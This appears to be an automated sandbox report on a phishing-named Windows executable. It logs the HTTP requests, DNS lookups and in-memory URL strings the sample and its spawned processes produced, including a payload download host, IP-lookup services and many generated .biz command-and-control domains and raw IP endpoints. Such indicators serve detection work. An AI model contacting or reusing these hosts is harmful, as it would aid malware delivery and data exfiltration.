Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /royal/233_Sdvvfamydeo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: lwaziacademy.com
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /obujsmdylt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /bjede HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /cairvr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /bjede?usid=18&utid=28672493896 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww12.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /cairvr?usid=18&utid=28672493914 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww7.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /fauopp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww99.przvgke.biz
Source: global traffic	HTTP traffic detected: GET /fauopp?usid=18&utid=28672494417 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: ww12.przvgke.biz

Source: global traffic	DNS traffic detected: DNS query: lwaziacademy.com
Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: ww99.przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: webmail.thematman.com.au
Source: global traffic	DNS traffic detected: DNS query: ww12.przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: ww7.przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz

Source: unknown

HTTP traffic detected: POST /nimjw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 802

Source: alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.143:80/bjede
Source: alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://172.234.222.143:80/fauopp
Source: alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/jedofahyn
Source: alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107/jedofahynK
Source: alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1668813012.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/fupmvmgjbhmts
Source: alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.141.10.107:80/jedofahynusid=18&utid=28672494417
Source: alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/cbecuogqej
Source: alg.exe, 0000000C.00000003.1644704325.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/
Source: alg.exe, 0000000C.00000003.1644704325.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1644501807.000000000058C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/kka
Source: alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/npdqgsoqmqY
Source: alg.exe, 0000000C.00000003.1700499143.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1685939273.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/npdqgsoqmq
Source: alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/
Source: alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/eooel
Source: alg.exe, 0000000C.00000002.2678337066.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/eooelngs
Source: alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/ewvwgr
Source: alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/ewvwgrngs
Source: alg.exe, 0000000C.00000003.2503862949.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/ewvwgroU
Source: alg.exe, 0000000C.00000003.2279374376.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2280831077.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/pfoxkxwneqnmhcsc
Source: alg.exe, 0000000C.00000003.2053936887.00000000005B4000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/tjgeolaydho
Source: alg.exe, 0000000C.00000003.2053936887.00000000005B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/tjgeolaydhoK
Source: alg.exe, 0000000C.00000002.2678337066.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/eooelpp
Source: alg.exe, 0000000C.00000002.2678337066.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504408832.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/ewvwgrydho;
Source: alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/pfoxkxwneqnmhcscM
Source: alg.exe, 0000000C.00000003.2281172548.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052928274.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/tjgeolaydho;
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	String found in binary or memory: http://rbg.n
Source: alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz/
Source: alg.exe, 0000000C.00000003.1801065112.0000000001760000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU3ZGE0M2E5
Source: alg.exe, 0000000C.00000003.1785018186.0000000001700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU3ZGE0MWNm
Source: alg.exe, 0000000C.00000003.1830975438.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005BF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1784696793.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1825992446.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz/bjede?usid=18&utid=28672493896
Source: alg.exe, 0000000C.00000002.2678337066.0000000000518000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz/fauopp?usid=18&utid=28672494417
Source: alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz:80/bjede?usid=18&utid=28672493896
Source: alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww12.przvgke.biz:80/fauopp?usid=18&utid=28672494417
Source: alg.exe, 0000000C.00000003.2279374376.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1825992446.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800587225.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2503862949.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281474066.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1804005716.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1783776008.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504629883.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.przvgke.biz/bjede
Source: alg.exe, 0000000C.00000002.2678337066.000000000056F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.przvgke.biz/bjedeT
Source: alg.exe, 0000000C.00000003.1800587225.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2503862949.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2281474066.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000002.2678337066.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1804005716.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800849962.00000000005B3000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1830975438.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2504629883.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.2052183315.00000000005AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.przvgke.biz/fauopp
Source: alg.exe, 0000000C.00000003.1784206549.0000000000589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.przvgke.biz:80/bjede
Source: alg.exe, 0000000C.00000003.1826309227.000000000058A000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000C.00000003.1800721272.000000000058A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww99.przvgke.biz:80/fauopp
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021D3D000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209C2000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1429814207.0000000002597000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1585083858.0000000002596000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1642838997.000000007FB6F000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1634935767.0000000022065000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1571228970.0000000021CDF000.00000004.00000020.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1619277496.00000000209E5000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000000.1571834546.0000000000416000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.pmail.com
Source: SingleClientServicesUpdater.exe.9.dr	String found in binary or memory: http://www.winimage.com/zLibDll
Source: ymafvvdS.pif, 00000009.00000003.2094996714.000000002A440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxFailed
Source: ymafvvdS.pif, 00000009.00000003.2095974007.000000002A440000.00000004.00001000.00020000.00000000.sdmp, ymafvvdS.pif, 00000009.00000003.2096253940.000000002A440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxHKEY_LOCAL_MACHINE
